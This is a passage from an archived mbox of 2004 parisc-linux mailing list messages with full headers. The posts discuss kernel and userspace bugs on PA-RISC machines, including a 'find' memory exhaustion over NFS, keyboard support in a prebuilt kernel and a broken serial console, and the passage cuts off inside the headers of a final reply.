> > > defined data type
> > > find: memory exhausted
> > > 
> > > [varenet@JukeBox /exports]$ wc -l /home/varenet/playlistnow
> > > 14023 /home/varenet/playlistnow
> > > 
> > > [varenet@JukeBox /exports]$ uname -a
> > > Linux JukeBox 2.6.8.1-pa11 #1 Sat Sep 11 19:54:13 CEST 2004 parisc  
> > > GNU/Linux
> > > 
> > > Top showed that find ate all available memory before being killed:
> > > 22499 varenet   25   0  257m 243m 1584 R 65.4 64.6   2:12.61 find
> > > 
> > > That box has 492MB RAM, it's a B132L+, running sarge.
> > > 
> > > /exports has more than 60000 files, representing about 200GB of
> > > data.
> > > 
> > > running find on one of the origin folders (the biggest actually) on
> > > the  NFS server host shows:
> > > 
> > > [varenet@npyu /Volumes/Atom]$ find racine/ | wc -l
> > >     48867
> > > 
> > > (npyu is an OSX box, fwiw).
> > > 
> > > HTH,
> > > 
Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "find" bug, kernel 2.6.8.1-pa11?
Date: Fri, 15 Oct 2004 22:24:40 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <200410152224.40458.deller@gmx.de>
References: <30C87152-1EA4-11D9-B246-0030656F07A2@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623581 11281 80.91.229.3 (22 Nov 2014 02:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:01 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2196 invoked by uid 65534); 15 Oct 2004 20:25:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 15 Oct 2004 22:25:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A1C6A3BE25; Fri, 15 Oct 2004 14:25:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15578-06; Fri, 15 Oct 2004 14:25:42 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6BEE63BE0A; Fri, 15 Oct 2004 14:25:19 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 561EE3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Oct 2004 14:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14648-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Oct 2004 14:25:14 -0600 (MDT)
Original-Received: from mail.gmx.net (imap.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 55B953BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Oct 2004 14:25:13 -0600 (MDT)
Original-Received: (qmail 28385 invoked by uid 65534); 15 Oct 2004 20:24:51 -0000
Original-Received: from pD9FE7354.dip.t-dialin.net (EHLO p100) (217.254.115.84)
	by mail.gmx.net (mp017) with SMTP; 15 Oct 2004 22:24:51 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <30C87152-1EA4-11D9-B246-0030656F07A2@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22067

Hi Thibaut,

in case you did not apt-get updated' your machine to latest stuff, please do so.
I saw a lot of those errors with old userspace-binaries as well (e.g. even after login with ssh, or while using "screen"). 
Updating fixed everything.

Just an idea...

Helge


On Friday 15 October 2004 14:17, Thibaut VARENE wrote:
> Hi,
> 
> Do we have some kind of bug here? See:
> 
> /exports contains several NFS mountpoints:
> 
> [varenet@JukeBox /exports]$ mount | grep nfs
> npyu:/Volumes/Atom/racine on /exports/npyu type nfs  
> (ro,noexec,soft,nolock,rsize=8192,wsize=8192,tcp,addr=147.215.7.13)
> neko:/home/ftp/mp3_1 on /exports/neko/mp3-1 type nfs  
> (ro,noexec,soft,nolock,rsize=8192,wsize=8192,addr=147.215.80.181)
> 
> Now see what happens:
> 
> [varenet@JukeBox /exports]$ find . > /home/varenet/playlistnow
> find: ./npyu/boxon/caprice/Metal/Royal Hunt - The watchers: Value too  
> large for defined data type
> find: ./npyu/boxon/clubpc/Ziq/A5  
> (Darmstadt)/Warmduscher_Vs_Overdog_-_Live_at_A5_(Darmstadt)-DAB-12-30 
> -2003-OMA: Value too large for defined data type
> find: ./npyu/boxon/done/Keeper Of The Seven Keys II: Value too large  
> for defined data type
> find: ./npyu/boxon/done/ROLLING STONES - Albumes 1964-1971 - CD1 de  
> BaTMaN/THE ROLLING STONES - 1965 - December's Children: Value too large  
> for defined data type
> find: ./npyu/boxon/samy/Vrac/pop: Value too large for defined data type
> find: ./npyu/boxon/samy/Walt Disney Phil Collins: Value too large for  
> defined data type
> find: ./npyu/boxon/samy/albums/ALADDIN: Value too large for defined  
> data type
> find: ./npyu/boxon/samy/albums/jah/THE selection: Value too large for  
> defined data type
> find: ./npyu/boxon/samy/squarepusher: Value too large for defined data  
> type
> find: ./npyu/iTunes/Benny Benassi/Hypnotica: Value too large for  
> defined data type
> find: memory exhausted
> 
> [varenet@JukeBox /exports]$ wc -l /home/varenet/playlistnow
> 14023 /home/varenet/playlistnow
> 
> [varenet@JukeBox /exports]$ uname -a
> Linux JukeBox 2.6.8.1-pa11 #1 Sat Sep 11 19:54:13 CEST 2004 parisc  
> GNU/Linux
> 
> Top showed that find ate all available memory before being killed:
> 22499 varenet   25   0  257m 243m 1584 R 65.4 64.6   2:12.61 find
> 
> That box has 492MB RAM, it's a B132L+, running sarge.
> 
> /exports has more than 60000 files, representing about 200GB of data.
> 
> running find on one of the origin folders (the biggest actually) on the  
> NFS server host shows:
> 
> [varenet@npyu /Volumes/Atom]$ find racine/ | wc -l
>     48867
> 
> (npyu is an OSX box, fwiw).
> 
> HTH,
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://www.pateam.org/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: 2.6.9-pa1 broken GSC support
Date: Fri, 22 Oct 2004 12:12:21 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20041022111221.GI16153__23921.406400814$1416623582$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20041020124733.GB25064@roadwarrior.mcmartin.ca>
	<4161748000005800@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623582 11311 80.91.229.3 (22 Nov 2014 02:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17668 invoked by uid 65534); 22 Oct 2004 11:13:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx010) with SMTP; 22 Oct 2004 13:13:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 004883BE34; Fri, 22 Oct 2004 05:12:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04440-03; Fri, 22 Oct 2004 05:12:50 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CEA873BE2B; Fri, 22 Oct 2004 05:12:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 137D73BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 05:12:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04124-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 05:12:25 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 69CF93BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 05:12:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CKxLJ-00011F-Vd; Fri, 22 Oct 2004 12:12:21 +0100
Content-Disposition: inline
In-Reply-To: <4161748000005800@mail-4-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22068

On Thu, Oct 21, 2004 at 06:08:03PM +0200, Joel Soete wrote:
> I don't have any pb here to build it for my c110 so I presume that's another
> compiler pb.
> Here I use a debian unstable :) with
> # gcc -v
> Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3.5/specs

I'm pretty sure Martin's using 3.4 which is noticably pickier about
inlining.  I had a quick look at the parport_gsc stuff and it looks like
a bit of a mess.  I'd start by moving everything from parport_gsc.h
into parport_gsc.c or at least moving asm-parisc/parport_gs.h to
drivers/parport/.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] b180_defconfig 2.6.9-pa1 keyboard support?
Date: Sat, 23 Oct 2004 22:57:16 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20041024045716.GA4263@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623582 11316 80.91.229.3 (22 Nov 2014 02:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10403 invoked by uid 65534); 24 Oct 2004 04:59:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 24 Oct 2004 06:59:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D4E5E3BE21; Sat, 23 Oct 2004 22:58:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26642-08; Sat, 23 Oct 2004 22:58:08 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E31A43BE37; Sat, 23 Oct 2004 22:57:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 717FB3BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Oct 2004 22:57:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26646-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Oct 2004 22:57:18 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 01C163BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Oct 2004 22:57:17 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E4C24298120
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Oct 2004 22:57:16 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03986-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 23 Oct 2004 22:57:16 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5398929811B; Sat, 23 Oct 2004 22:57:16 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22069

Hi,
I just tried the prebuilt 2.6.9-pa1 kernel for B180
and the keyboard didn't work:

http://cvs.parisc-linux.org/download/linux-2.6/autobuild/b180_defconfig/palinux-b180-defconfig-2.6.9-pa1_0-2_all.deb

I didn't see any console output for keyboard/HID output like
I did for PS/2 mouse.  Is this a known bug or is something
wrong with the default config file?

Sorry, this is with gfx console and I couldn't grab the dmesg output.
Networking didn't come up and I didn't have time (machine went home with
the 13y old owner) to fixup the networking. I know the keyboard worked
fine with the 2.6.6 kernel that was already on the machine.

It was kinda frustrating to replace the kernel in order to pick up
harmony audio driver fixes and then have something like keyboard
not work.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] console on ttyS0 broken with 2.6.9-bk6-pa1 ?
Date: Sun, 24 Oct 2004 15:54:52 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <200410241554.52818.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623582 11317 80.91.229.3 (22 Nov 2014 02:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10284 invoked by uid 65534); 24 Oct 2004 13:56:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 24 Oct 2004 15:56:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5B9F83BE43; Sun, 24 Oct 2004 07:56:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29902-08; Sun, 24 Oct 2004 07:55:52 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 91B5A3BE44; Sun, 24 Oct 2004 07:55:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CD5E3BE40
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Oct 2004 07:55:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29902-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Oct 2004 07:55:20 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 61A8F3BE21
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 24 Oct 2004 07:55:19 -0600 (MDT)
Original-Received: (qmail 10254 invoked by uid 65534); 24 Oct 2004 13:55:17 -0000
Original-Received: from pD9FE771E.dip.t-dialin.net (EHLO p100) (217.254.119.30)
	by mail.gmx.net (mp018) with SMTP; 24 Oct 2004 15:55:17 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22070

I just compiled/booted the latest CVS kernel (2.6.9-bk6-pa1) which seems to boot fine.
Sadly using a serial console is broken. Any ideas ?

This is the bootlog in minicom:

palo ipl 0.99 root@P100 Sat Apr 13 22:21:21 CEST 2002

Boot image contains:
    0/vmlinux32 4714377 bytes @ 0x8000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 00100368 first 00100000 n 1
Segment 0 load 00100000 size 3780741 mediaptr 0x1000
Branching to kernel entry point 0x00100368.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.9-bk6-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #96 Sun Oct 24 15:44:48 CEST 2004
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
vers  0000000c
model 9000/715
Total Memory: 160 Mb
Built 1 zonelists
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux

....<lot's of other messages skipped...>

Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabled
ttyS0 at MMIO 0xf0105800 (irq = 90) is a 16550A
Linux version 2.6.9-bk6-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #96 Sun Oct 24 15:44:48 CEST 2004
Linux version 2.6.9-bk6-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #96 Sun Oct 24 15:44:48 CEST 2004
Linux version 2.6.9-bk6-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #96 Sun Oct 24 15:44:48 CEST 2004
Linux version 2.6.9-bk6-pa1 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #96 Sun Oct 24 15:44:48 CEST 2004
<...this last line continues forever...>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Tue, 26 Oct 2004 22:14:10 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <200410262214.10309.deller@gmx.de>
References: <200410031355.12116.j.raspe@t-online.de>
	<15238.193.160.141.5.1098777144.squirrel@193.160.141.5>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623582 11318 80.91.229.3 (22 Nov 2014 02:33:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26695 invoked by uid 65534); 26 Oct 2004 20:14:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 26 Oct 2004 22:14:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 845CF3BE27; Tue, 26 Oct 2004 14:14:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30164-05; Tue, 26 Oct 2004 14:14:52 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4A7C13BE2D; Tue, 26 Oct 2004 14:14:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3006A3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Oct 2004 14:14:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30164-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Oct 2004 14:14:19 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4D0643BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Oct 2004 14:14:18 -0600 (MDT)
Original-Received: (qmail 30670 invoked by uid 65534); 26 Oct 2004 20:14:16 -0000
Original-Received: from pD9FE7469.dip.t-dialin.net (EHLO p100) (217.254.116.105)
	by mail.gmx.net (mp016) with SMTP; 26 Oct 2004 22:14:16 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7.50
In-Reply-To: <15238.193.160.141.5.1098777144.squirrel@193.160.141.5>
Content-Disposition: inline
